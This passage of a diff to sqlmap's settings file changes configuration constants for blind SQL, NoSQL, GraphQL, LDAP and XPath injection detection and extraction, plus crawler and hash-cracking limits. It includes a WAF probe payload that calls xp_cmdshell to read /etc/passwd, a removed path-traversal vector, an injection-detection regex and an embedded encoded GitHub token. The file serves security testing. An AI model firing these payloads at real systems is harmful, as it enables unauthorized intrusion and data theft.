technique off (safety against trimmed/blocked long IN() payloads) +HUFFMAN_PROBE_LIMIT = 8 + +# Cold-start (prior) weights for the order-0 Huffman model used in adaptive blind retrieval. Gently +# biases the initial tree toward bytes that dominate real DBMS output (lowercase text, digits, common +# identifier punctuation) so SHORT extractions don't pay the full balanced-tree depth before the online +# frequency model warms up. Magnitude is small so genuine learned counts overtake it within a few dozen +# characters (kept low-risk for uniform/hex columns: hex digits 0-9a-f are themselves favored here). +HUFFMAN_PRIOR_WEIGHTS = {} +for _weight, _chars in ((6, " etaoinsrhldcumfgypwbvkxjqz"), (4, "0123456789"), (3, "_.-/@:,'")): + for _char in _chars: + HUFFMAN_PRIOR_WEIGHTS[ord(_char)] = _weight + +# Enumeration contexts (kb.partRun) for which predictive inference is active by default: the identifier +# names retrieved here are drawn from a known, skewed distribution captured by the common-tables/ +# common-columns wordlists, so whole-value prediction / charset reordering pays off. Deliberately NOT +# applied to arbitrary dumped data (unknown distribution) or one-shot values (banner, current-user). +NAME_PREDICTION_CONTEXTS = ("Tables", "Columns") + +# Order of the character-level Markov model used to seed the Huffman set-membership tree during blind +# name enumeration: warmed from the shipped identifier corpus so it predicts a name from the first +# character (identifiers are short, structured and low-entropy). CATALOG_IDENTIFIERS_PRIOR_PEAK is the +# weight the corpus prior is scaled to (higher -> the predicted next character sits nearer the tree +# root -> closer to one request per character). Data dumps keep the classic order-0 adaptive model. +NAME_MARKOV_ORDER = 3 +CATALOG_IDENTIFIERS_PRIOR_PEAK = 20 + +# Maximum number of distinct values a dumped column may show before it is treated as high-cardinality +# and whole-value guessing is abandoned for it. At or below this, each new cell is first confirmed by +# equality against the values already seen for that column (one request on a hit) before per-character +# extraction. Self-verifying, so it never returns a wrong value; the bound keeps misses cheap. +LOW_CARDINALITY_THRESHOLD = 32 + +# Oracle-reliability litmus: during bulk blind extraction (dumps / name enumeration) a known-answer +# differential is fired every this-many extracted values - one probe that MUST be TRUE (the value we just +# read equals itself) and one that MUST be FALSE (it equals a deliberately corrupted copy). A healthy +# oracle always answers T/F; an always-true channel (WAF/200-for-everything, reads-everything-true) or a +# flaky/degraded one (timing jitter, lease near end-of-life) trips it - converting SILENT data corruption +# into a one-time "results may be unreliable" warning. The first value is always checked (catch it before +# a whole garbage dump), then every Nth. Cheap and amortized; set to 0 to disable. +ORACLE_LITMUS_CHECK_EVERY = 25 + +# Whole-value guessing only starts once some value has repeated (proof the column is low-cardinality), so +# an all-unique column - primary key, hash, free text - never wastes a probe. Once armed, at most this +# many candidates (most-frequent first) are tried per cell, so even a column that trips the threshold with +# many near-unique values can only ever waste a small, bounded number of probes before falling back. +LOW_CARDINALITY_MAX_GUESSES = 8 + +# Number of consecutive dumped rows a column's observed character set must stay unchanged before it is +# trusted as closed and used to restrict the time-based bisection alphabet. A column whose alphabet keeps +# growing (e.g. a monotonic primary key or high-entropy text) never reaches this, so it is never charged +# the speculative restricted-search-then-escalate cost. +DUMP_CHARSET_STABLE_ROWS = 3 + +# Bounds for feeding extracted values back into the predictive-inference pool for their enumeration +# context, so later same-context items that share structure (e.g. wp_posts / wp_users / wp_options ...) +# are predicted faster. MAX_LENGTH keeps large data cells from bloating/polluting the pool (identifiers +# are short); MAX_ITEMS bounds per-context growth so a huge enumeration cannot make the per-character +# prediction scan costly. Only fed single-threaded (never mutated under value-parallel enumeration). +PREDICTION_FEEDBACK_MAX_LENGTH = 128 +PREDICTION_FEEDBACK_MAX_ITEMS = 10000 + # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 @@ -541,6 +740,10 @@ # Maximum integer value MAX_INT = sys.maxsize +# Signed 64-bit range of SQLite's INTEGER storage class (used for safe --dump-format=SQLITE typing) +SQLITE_INT_MIN = -0x8000000000000000 +SQLITE_INT_MAX = 0x7fffffffffffffff + # Replacement for unsafe characters in dump table filenames UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_' @@ -548,7 +751,7 @@ RESTORE_MERGED_OPTIONS = ("col", "db", "dbms", "os", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") # Parameters to be ignored in detection phase (upper case) -IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "CFID", "CFTOKEN") +IGNORE_PARAMETERS = ("__VIEWSTATE", "__VIEWSTATEENCRYPTED", "__VIEWSTATEGENERATOR", "__EVENTARGUMENT", "__EVENTTARGET", "__EVENTVALIDATION", "__SCROLLPOSITIONX", "__SCROLLPOSITIONY", "__PREVIOUSPAGE", "ASPSESSIONID", "ASP.NET_SESSIONID", "JSESSIONID", "PHPSESSID", "SESSID", "CFID", "CFTOKEN") # Regular expression used for recognition of ASP.NET control parameters ASP_NET_CONTROL_REGEX = r"(?i)\Actl\d+\$" @@ -620,10 +823,28 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\bSELECT\b.+\bFROM\b|\b(CONCAT|information_schema|SLEEP|DELAY|FLOOR\(RAND)\b" # Extensions skipped by crawler -CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "php", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) +CRAWL_EXCLUDE_EXTENSIONS = frozenset(("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "accdb", "access", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bkp", "bmp", "btif", "bz2", "c", "cab", "caf", "cfg", "cgm", "cmx", "com", "conf", "config", "cpio", "cpp", "cr2", "cue", "dat", "db", "dbf", "deb", "debug", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "dylib", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "elf", "env", "eol", "eot", "epub", "error", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "go", "gz", "h", "h261", "h263", "h264", "ico", "ief", "img", "ini", "ipa", "iso", "jar", "java", "jpeg", "jpg", "jpgv", "jpm", "js", "jxr", "ktx", "lock", "log", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdb", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "msi", "mxu", "nef", "npx", "nrg", "o", "oga", "ogg", "ogv", "old", "otf", "ova", "ovf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "pid", "pkg", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "py", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rb", "rgb", "rip", "rlc", "rs", "run", "rz", "s3m", "s7z", "scm", "scpt", "service", "sgi", "shar", "sil", "smv", "so", "sock", "socket", "sqlite", "sqlitedb", "sub", "svc", "swf", "swo", "swp", "sys", "tar", "tbz2", "temp", "tga", "tgz", "tif", "tiff", "tlz", "tmp", "toast", "torrent", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "vbox", "vdi", "vhd", "vhdx", "viv", "vmdk", "vmx", "vob", "vxd", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "yaml", "yml", "z", "zip", "zipx")) + +# Endpoint mining inside JavaScript bundles during crawling (SPA API routes live in .js, invisible to +# href/src scraping): quoted absolute-path or same-origin-URL string literals (fetch/axios/XHR targets). +# MAX_* caps per-bundle results so a noisy minified file cannot flood the target list. +JAVASCRIPT_ENDPOINT_REGEX = r'''["'`](?P(?:https?:)?//[\w.:@-]+/[^"'`\s]*|/[A-Za-z0-9_][^"'`\s]*)["'`]''' +MAX_JAVASCRIPT_ENDPOINTS = 200 +# only the leading slice of a bundle/source-map is scanned for endpoints - bounds CPU/RAM on a hostile response +MAX_JAVASCRIPT_MINE_SIZE = 1 * 1024 * 1024 +# max source distance (chars) between a string-constant assignment and a `name + "/suffix"` use it may fold into +MAX_JAVASCRIPT_FOLD_DISTANCE = 2048 +# cap on Disallow/Allow/Sitemap lines consumed from a (potentially hostile) robots.txt +MAX_ROBOTS_ENTRIES = 1000 +# bounds on sitemap parsing: number of sitemap documents fetched (recursion fan-out) and total URLs kept +MAX_SITEMAP_FETCHES = 100 +MAX_SITEMAP_URLS = 100000 # Patterns often seen in HTTP headers containing custom injection marking character '*' -PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)" +# Note: the ';q=' quality-value class excludes '*' so a user-placed injection mark right after a +# quality value (e.g. 'Accept: ...;q=0.9*') is not swallowed (ref: #5357 - header injection was then +# missed on a GET lacking a Content-Length header, which is otherwise what forces params detection) +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" # Template used for common table existence check BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)" @@ -649,15 +870,6 @@ # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" -# Vectors used for provoking specific WAF/IPS behavior(s) -WAF_ATTACK_VECTORS = ( - "", # NIL - "search=", - "file=../../../../etc/passwd", - "q=foobar", - "id=1 %s" % IPS_WAF_CHECK_PAYLOAD -) - # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') @@ -677,6 +889,9 @@ # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 +# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size) +PURGE_BLOCK_SIZE = 1024 * 1024 + # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 @@ -707,8 +922,14 @@ # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" -# Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" +# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24) +# Scope is intentionally minimal (repo metadata read + issues write only, nothing else) - +# extracting and reusing it to open issues is a known, accepted side effect of this design, +# not a vulnerability (see https://github.com/sqlmapproject/sqlmap/issues/6098) +GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe" + +# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge) +HASHDB_STALE_DAYS = 7 # Flush HashDB threshold number of cached items HASHDB_FLUSH_THRESHOLD_ITEMS = 200 @@ -725,23 +946,35 @@ # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 -# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) -HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' - -# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) -PICKLE_PROTOCOL = 2 +# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism) +HASHDB_MILESTONE_VALUE = "CvHUbaSNZL" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 -# On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) -SLOW_ORDER_COUNT_THRESHOLD = 10000 - # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 +# Wall-clock budget (in seconds) for the pure-Python cracking of very slow, per-hash-salted algorithms +# (bcrypt); candidate-major so the most common passwords are tried against every hash first, then it stops +# and the remainder is left for a dedicated tool (e.g. 'hashcat'). Overridable via 'SQLMAP_HASH_ATTACK_TIME_LIMIT' +HASH_ATTACK_TIME_LIMIT = 300 + # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values -HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" +HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash|secret|digest" + +# Regular expression matching (declared) binary column types, used to auto-hex their values during dumping +# so raw bytes (e.g. password hashes stored in binary form) are not silently truncated at NUL / mangled by +# the text extraction channel (mirrors a manual '--binary-fields', using the already-fetched column type) +BINARY_FIELDS_TYPE_REGEX = r"(?i)binary|blob|bytea|image|\braw\b" + +# Uppercased keywords of the above, for building an in-SQL "is this column binary-typed?" check when only +# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX) +BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW") + +# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they +# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global) +MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 @@ -755,6 +988,11 @@ # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 +# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so +# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the +# value is popped right after it is triggered, so only recent entries ever matter) +MAX_DNS_REQUESTS = 1000 + # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) @@ -765,11 +1003,602 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value -DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" +DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" +# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection +NOSQL_ERRORS = ( + ("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"), + ("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'), + ("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['), + ("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"), + # NOTE: 'MERGE' is not Cypher-only. It is standard SQL, so it matched "Incorrect syntax near 'MERGE'" + ("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|LOAD CSV)'"), + ("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"), + # NOTE: the ANTLR "line N:M no viable alternative" line is not evidence of Cassandra on its own - + # Hibernate 6 and Trino emit it word for word. What IS particular to the CQL grammar: the driver + # exception in front of it, the ANTLR3 lexer wording ('mismatched character', which the ANTLR4 + # parsers do not have), and the "(...[TOKEN]...)" excerpt that CQL appends to the offending token + ("Cassandra", r"\b(?:ResponseError|SyntaxException|InvalidRequestException|InvalidQueryException)\b[^\n]{0,60}?line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input)|line \d+:\d+ (?:mismatched character|no viable alternative at input '[^']*' \(\.\.\.)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"), + ("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"), + ("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"), + ("InfluxDB", r"error parsing query|unable to parse '[^']*': found"), + ("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"), + ("DynamoDB", r"Statement wasn't well formed, can't be processed|software\.amazon\.awssdk\.services\.dynamodb|com\.amazonaws\.services\.dynamodbv2|\bDynamoDb(?:Exception|Error)\b"), +) +NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS) + +# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction +NOSQL_CHAR_MIN = 0x20 +NOSQL_CHAR_MAX = 0x7e + +# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump +NOSQL_MAX_FIELDS = 64 + +# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump +NOSQL_MAX_RECORDS = 100 + +# Upper bound for the length search during NoSQL blind extraction +NOSQL_MAX_LENGTH = 1024 + +# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) +GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query") + +# Self-describing JSON endpoint directories probed once per host during crawling: OIDC discovery lists the +# auth/token/userinfo URLs, OpenAPI/Swagger specs enumerate the whole API (their paths are mined as endpoints) +WELL_KNOWN_ENDPOINT_PATHS = ("/.well-known/openid-configuration", "/swagger.json", "/openapi.json", "/swagger/v1/swagger.json", "/api-docs", "/v2/api-docs", "/v3/api-docs", "/api/swagger.json", "/api/openapi.json") + +# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error +# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique) +GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts", + "account", "accounts", "profile", "product", "products", "order", "orders", "item", "items", + "customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser") +GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search", + "email", "input", "password", "key", "filter", "slug", "title", "uid") + +# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the +# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their +# fields/arguments/inputFields with type chains, directives, and deprecation metadata. +GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + type { kind name ofType { kind name ofType { kind name } } } + } + inputFields { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + enumValues(includeDeprecated: true) { name } + specifiedByURL + } + } +}""" + +# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, +# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based +# detection inside the GraphQL engine. +GRAPHQL_PARSE_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', + r"\bSyntax Error:\s*[^\"]", + r"\bExpected Name,\s*found\b", + r"\bUnexpected\s+\b", +) +# NOTE: graphql-js quotes the offending name, and the response carries those quotes backslash-escaped +# inside the JSON body ('Cannot query field \"x\" on type \"Query\"'). Without the optional backslash +# none of these ever matched a real answer - only a pretty-printed one +GRAPHQL_VALIDATION_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', + r"\bCannot query field\s+\\?\"[^\"\\]+\\?\"\s+on type\s+\\?\"[^\"\\]+\\?\"", + r"\bUnknown argument\s+\\?\"[^\"\\]+\\?\"\s+on field\s+\\?\"[^\"\\]+\\?\"", + r"\bField\s+\\?\"[^\"\\]+\\?\"\s+argument\s+\\?\"[^\"\\]+\\?\"\s+of type\s+\\?\"[^\"\\]+\\?\"\s+is required\b", + r"\bVariable\s+\\?\"\$[^\"\\]+\\?\"\s+got invalid value\b", + r"\bExpected type\s+[^,]+,\s*found\b", + r"\bDid you mean\s+\\?\"[^\"\\]+\\?\"", +) +GRAPHQL_APQ_ERRORS = ( + r"\bPersistedQueryNotFound\b", + r"\bPersistedQueryNotSupported\b", +) +GRAPHQL_RUNTIME_ERRORS = ( + r"\bGraphQL\s+(?:resolver\s+)?error\b", +) +GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) + +# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against +# HTTP response bodies). Each tuple is (backend_name, regex_fragment). +LDAP_ERROR_SIGNATURES = ( + ("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"), + ("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"), + ("Microsoft Active Directory", r"80090308:\s*LdapErr"), + ("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"), + ("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"), + ("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"), + ("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"), + ("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"), + ("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"), + ("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"), + ("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"), + ("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"), +) + +# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising +# that an error response originates from an LDAP back-end rather than a generic HTTP 500 +LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES) + +# Printable-ASCII codepoint bounds for the (linear, prefix-wildcard) LDAP blind character scan +LDAP_CHAR_MIN = 0x20 +LDAP_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during LDAP blind extraction +LDAP_MAX_LENGTH = 256 + +# Maximum number of directory entries enumerated during LDAP blind dumping +LDAP_MAX_RECORDS = 20 + +# Attributes that definitively identify the backend vendor when probed on the RootDSE or +# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend). +LDAP_FINGERPRINT_ATTRIBUTES = ( + ("objectGUID", None, "Microsoft Active Directory"), + ("vendorName", "OpenLDAP", "OpenLDAP"), + ("vendorName", "Apache Software Foundation", "ApacheDS"), + ("vendorName", "Oracle Corporation", "Oracle Directory Server"), + ("vendorName", "Red Hat", "389 Directory Server"), +) + +# XPath error signatures per parser implementation for error-based detection and +# fingerprinting (matched against HTTP response bodies). Each tuple is +# (backend_name, regex_fragment). +XPATH_ERROR_SIGNATURES = ( + # NOTE: neither javax.xml.transform.Transformer*Exception nor org.xml.sax.SAX*Exception belongs + # here. The first is the XSLT transformer and the second is the XML parser, so claiming them made + # every stylesheet failure and every malformed-XML response suggest '--xpath' as well. A real + # Xalan XPath failure always carries javax.xml.xpath.XPathExpressionException + ("Java JAXP / Xalan", r"(?:javax\.xml\.xpath\.XPathExpressionException|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath)"), + ("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"), + ("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"), + # NOTE: XTDE is an XSLT Transformation Dynamic Error, so it stays with '--xslt' + ("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST)\d{4}:"), + (".NET XPathNavigator", r"System\.Xml\.XPath\.XPathException"), + (".NET XPathNavigator", r"Expression must evaluate to a node-set"), + (".NET XPathNavigator", r"has an invalid (?:token|qualified name)"), + ("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"), + # NOTE: 'Invalid expression' on its own is not an XPath error. libxml2 always prefixes it with + # "XPath error : ", and PHP always names the failing method, so both are covered without the + # bare form - which otherwise matched any calculator or formula field + ("lxml / libxml2", r"XPath error"), + ("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"), + ("PHP SimpleXML / DOMXPath", r"xmlXPathEval"), + ("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"), + ("Saxon (standalone)", r"Static error\(s\) in query"), + ("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"), + ("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"), + ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), + ("eXist", r"exerr:ERROR"), + ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), + # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every + # XSLT parser error suggest '--xpath' as well + # NOTE: the gap has to stay bounded (like in 'Handlebars' below). An unbounded '.*?' turns this + # into a quadratic scan of every long line that merely carries the word 'xpath' (e.g. minified + # JS/JSON), which took ~25s on a 400KB response - and blew up the regex engine itself (#6105) + ("Generic XPath", r"XPath[^\n]{0,100}?(?:error|exception|syntax)"), + ("Generic XPath", r"Invalid XPath|XPath evaluation 